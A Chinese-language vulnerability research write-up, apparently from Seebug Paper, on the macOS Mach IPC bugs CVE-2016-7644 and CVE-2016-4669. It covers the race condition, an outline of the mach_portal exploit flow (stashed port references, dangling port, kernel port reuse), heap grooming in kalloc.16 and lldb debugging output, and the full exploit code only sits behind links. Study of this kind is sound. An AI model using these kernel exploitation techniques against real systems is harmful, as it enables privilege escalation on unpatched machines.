作者:mrh

0x00 摘要

本文是第三篇基于漏洞分析來學習Mach IPC的方面知識的記錄。

閱讀順序如下。

1.再看CVE-2016-1757—淺析mach message的使用

2.CVE-2016-7637—再談Mach IPC

3.從CVE-2016-7644回到CVE-2016-4669(本文)

CVE-2016-7644這個漏洞,本身是一個很簡單的漏洞,但是通過一些技巧,可以做一些更有意思的事情。

pocwriteup這里

CVE-2016-4669的POC,之前我已經分析過了,詳見CVE-2016-4669分析與調試。在做完這一系列的IPC相關的漏洞研究與學習之后,嘗試的對CVE-2016-4669這個漏洞實現一個提權的利用。

并不能穩定觸發,不過也加深了對內核的內存布局與IPC模塊的理解。代碼在這里

0x01 CVE-2016-7644 POC分析

漏洞的成因并不復雜,當兩個線程同時調用時,ipc_port_release_send函數可能會被調用兩次。

kern_return_t
  set_dp_control_port(
    host_priv_t host_priv,
    ipc_port_t  control_port) 
  {
          if (host_priv == HOST_PRIV_NULL)
                  return (KERN_INVALID_HOST);

    if (IP_VALID(dynamic_pager_control_port))
      ipc_port_release_send(dynamic_pager_control_port); <--競爭發生的地方

    dynamic_pager_control_port = control_port;
    return KERN_SUCCESS;
  }

ipc_port_release_send函數內會修改port的一些屬性,因為兩個線程同時調用,觸發了并發的漏洞,導致了bug的發生。

void
ipc_port_release_send(
    ipc_port_t  port)
{
    ipc_port_t nsrequest = IP_NULL;
    mach_port_mscount_t mscount;

    if (!IP_VALID(port))
        return;

    ip_lock(port);

    assert(port->ip_srights > 0);       <--線程[2] ip_srights == 0,觸發assert,導致內核崩潰
    port->ip_srights--;             

    [...]

     ip_unlock(port);                   <--線程[1] ip_srights已經變為0,且port鎖已經釋放

     [...]
}

POC 代碼編譯成功之后,利用shell循環執行就可以觸發內核崩潰,因為是并發的漏洞,所以需要嘗試的次數比較多,手動執行可能很難觸發。

0x02 mach_portal_redist 相關利用代碼分析

通過閱讀mach_portal_redist項目的kernel_sploit.c文件,漏洞的利用總共分為以下幾個部分。

  • 獲取內核中指向port的野指針
  • 堆內存的布局
  • 通過UAF獲取kernel port

想要完全理解這幾個部分,就需要了解更多的IPC相關的知識。

2.1 利用流程

通過漏洞獲取一個指向port的野指針,流程大致如下。

//申請port
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
//在ipc系統中隱藏一個port的reference
stash_port (p) ;
//dynamic_pager_control_port獲取一個port的reference
set_dp_control_port(host_priv, p) ;
// [1] 準備階段結束
//釋放task對port的send right
mach_port_deallocate (p);
//觸發漏洞
race();
//釋放stash_port
free_stashed_ports();
// [2] 獲取port的野指針

2.2 stash_port

當代碼執行到[1]處時,做好了所有觸發漏洞前的準備。我們的port擁有3對rightreference

通過mach_port_allocate函數的執行,task擁有port的一份rightreference

通過set_dp_control_port函數的執行,dynamic_pager_control_port擁有port的一份rightreference

這兩個部分比較容易理解,stash_port的原理較為復雜,利用了IPC系統通過mach message傳遞消息時的特性。

在通過message傳遞一個port right時的流程大致如下。

/*
ipc_kmsg_copyin_body
         |
         |----> ipc_kmsg_copyin_ool_ports_descriptor
                                 |
                                 |-----> ipc_object_copyin
                                               |
                                               |----> ipc_right_copyin
*/
kern_return_t
ipc_right_copyin(
{
        [...]
case MACH_MSG_TYPE_MAKE_SEND: {

        if ((bits & MACH_PORT_TYPE_RECEIVE) == 0)
            goto invalid_right;

        port = (ipc_port_t) entry->ie_object;
        assert(port != IP_NULL);

        ip_lock(port);
        assert(ip_active(port));
        assert(port->ip_receiver_name == name);
        assert(port->ip_receiver == space);

        port->ip_mscount++;
        port->ip_srights++; //通過發送數據,但是不從port中讀取出來,使得right和reference都加1
        ip_reference(port);
        ip_unlock(port);

        *objectp = (ipc_object_t) port;
        *sorightp = IP_NULL;
        break;
        }
         [...]
}

當代碼通過IPC系統發送一個port right時,portrightreference都會加1,而在讀取消息時,會把rightreference減1,所以在未調用free_stashed_ports讀取出message之前,就在IPC系統中存放了一份port的引用。

2.3 mach_port_deallocate

調用mach_port_deallocate函數可以釋放目標port的一個RIGHT。我們的portreference為3,sright是2。

2.4 race

race就是利用了set_dp_control_port函數的漏洞,在并發執行的時,會導致對dynamic_pager_control_port連續兩次調用ipc_port_release_send函數。

ipc_port_release_send每執行一次,會對目標portsrightreference做出一次減一的操作。這個時候我們的portreference變成了1,而sright變成了0,以為沒有sendright存在了,所以會產生一個notify,通過這個土整,我們就可以知道成功的發出了條件競爭的漏洞了。

2.5 free_stashed_ports

stashed_ports_q的消息隊列中還保存著我們傳遞的port,只需要對stashed_ports_q調用mach_port_destroy,因為傳遞的portreference已經是1了,在處理這個邏輯之后,port在內核中就已經被釋放了,而我們的task中還保存了一個danglingport

/*
mach_port_destroy
        |
        |--->ipc_right_destroy
                    |
                    |--->ipc_port_destroy
                                |
                                |--->ipc_mqueue_destroy
                                            |
                                            |--->ipc_kmsg_reap_delayed
                                                          |
                                                          |--->ipc_kmsg_clean_body
*/

調用棧大致如上所示,最核心的邏輯在ipc_kmsg_clean_body函數里實現。

0x03 回到CVE-2016-4669

對CVE-2016-4669的POC和漏洞成因的分析在這里

沒有了解過這個漏洞的同學可以先了解一下。

經過對IPC模塊一系列的漏洞的分析與學習,我嘗試著對之前分析過的CVE-2016-4669這個漏洞寫一寫利用。

思路大致如下:

  • kalloc.16 的內存布局。
  • 觸發漏洞,在內存中訪問越界,對其他port調用ipc_port_release_send。創造dangling port
  • 重用port,獲得root權限。

3.1 kalloc.16內存布局

在正常的情況下,kalloc.16的某個Page中的內存布局如下圖所示(更多關于內存布局的只是可以查看這里):

  • [a]標記出的就是kalloc.16這個zonefree element
  • [b]是已經被使用的element,且16個字節都使用到了。
  • [c]是已經被使用的element,但是只用前面八個字節,所有后面8個字節是0xdeadbeefdeadbeef

因為漏洞會越界訪問,對下個element中的地址調用ipc_port_release_send,所以通過向一個很多的stash port,發送同一個target portright,在發送完成后再釋放其中一部分得stash port,在kalloc.16zone中制造觸發漏漏洞的時候使用的free element

在構造完成后大致如下:

3.2 觸發漏洞

這里要把patch的參數個數從1改成2。

#if UseStaticTemplates
    InP->init_port_set = init_port_setTemplate;
    InP->init_port_set.address = (void *)(init_port_set);
    InP->init_port_set.count = 2;//1; // was init_port_setCnt;
#else   /* UseStaticTemplates */
    InP->init_port_set.address = (void *)(init_port_set);
    InP->init_port_set.count = 2;//1; // was init_port_setCnt;

出發漏洞后,就可以看到內存布局。

簡單的調試流程如下:

先找到mach_ports_register函數第一次調用ipc_port_release_send的地方,并下一個斷點。

    0xffffff800b0e22aa <+506>: call   0xffffff800b1c1bd0        ; lck_mtx_unlock
    0xffffff800b0e22af <+511>: lea    rax, [r15 + 0x1]
    0xffffff800b0e22b3 <+515>: cmp    rax, 0x2
    0xffffff800b0e22b7 <+519>: jb     0xffffff800b0e22c1        ; <+529> at ipc_tt.c:1096
    0xffffff800b0e22b9 <+521>: mov    rdi, r15
    0xffffff800b0e22bc <+524>: call   0xffffff800b0c98f0        ; ipc_port_release_send at ipc_port.c:1560
    0xffffff800b0e22c1 <+529>: lea    rax, [r13 + 0x1]
    0xffffff800b0e22c5 <+533>: cmp    rax, 0x2
    0xffffff800b0e22c9 <+537>: jb     0xffffff800b0e22d3        ; <+547> at ipc_tt.c:1096
    0xffffff800b0e22cb <+539>: mov    rdi, r13
    0xffffff800b0e22ce <+542>: call   0xffffff800b0c98f0        ; ipc_port_release_send at ipc_port.c:1560
    0xffffff800b0e22d3 <+547>: lea    rax, [rbx + 0x1]
    0xffffff800b0e22d7 <+551>: cmp    rax, 0x2
    0xffffff800b0e22db <+555>: jb     0xffffff800b0e22e5        ; <+565> at ipc_tt.c:1097
    0xffffff800b0e22dd <+557>: mov    rdi, rbx
    0xffffff800b0e22e0 <+560>: call   0xffffff800b0c98f0        ; ipc_port_release_send at ipc_port.c:1560
(lldb) b *0xffffff800b0e22bc
Breakpoint 1: where = kernel`mach_ports_register + 524 at ipc_tt.c:1097, address = 0xffffff800b0e22bc</span>

然后執行exp程序,一般情況下是第二次命中斷點時,portsCnt=3(第一次命中時portsCnt=1并不是我們的代碼觸發的,可以不管)。內存布局如下:

(lldb) p/x memory
(mach_port_array_t) $10 = 0xffffff80115cf9f0
(lldb) memory read --format x --size 8 --count 50 memory-0x20
[...]
0xffffff80115cf9a0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9b0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9c0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9d0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9e0: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cf9f0: 0xffffff8015f0b680 0x0000000000000000 **[p_self,NULL]**
0xffffff80115cfa00: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa10: 0xffffff8013dee0e0 0x0000000000000000 [target_port,NULL]
0xffffff80115cfa20: 0x0000000000000000 0xdeadbeefdeadbeef
0xffffff80115cfa30: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa40: 0x0000000000000000 0xffffffff00000000
0xffffff80115cfa50: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa60: 0xffffff8013dee0e0 0x0000000000000000
0xffffff80115cfa70: 0xffffff8013dee0e0 0x0000000000000000</span>

接著,mach_ports_register的邏輯就會越界將0xffffff80115cfa00處的0xffffff8013dee0e0拷到task->itk_registered中去。

for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) {
      ipc_port_t old;

      old = task->itk_registered[i];
      task->itk_registered[i] = ports[i];
      ports[i] = old;
    }

通過lldb查看ports的狀態。

p *(ipc_port_t)0xffffff8013dee0e0

(ipc_port) $12 = {
  ip_object = {
    io_bits = 2147483648
    io_references = 4057
    io_lock_data = (interlock = 0x0000000000000000)
  }
  [...]
  ip_srights = 4056
}

在第二次調用到mach_ports_register的時候,會對他們調用ipc_port_release_send

//第二次調用mach_ports_register函數時,ports中的數據變成了剛剛存儲的
for (i = 0; i < TASK_PORT_REGISTER_MAX; i++) 
      if (IP_VALID(ports[i]))
        ipc_port_release_send(ports[i]);

這個時候再觀察port在內核中的狀態,機會發現ip_srightsio_references都做了一次減一

這個時候在釋放掉所有的stashed port就將我們的target port 釋放掉了。因為通過觸發bug多釋放了一次。

  • 通過stashed port創造了4096個reference,釋放掉所有的stashed port就對reference做了4096次減一,通過觸發bug 又多做了一次release,釋放了一開始mach_port_allocate創建的reference
  • srightsreference相同。

3.3 重用port

這一步在我的EXP里就是看臉了,成功率并不是很高,沒有找到穩定的利用方法。就不多說什么了,從別的EXP里抄來的代碼。

0x04 小結

到這里整個MACH-IPC相關的漏洞分析與學習就暫時告一段落了。

這篇分析日志,斷斷續續寫了很久,可能思路有點不連貫,有什么問題歡迎大家一起探討:)


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.jmbmsq.com/201/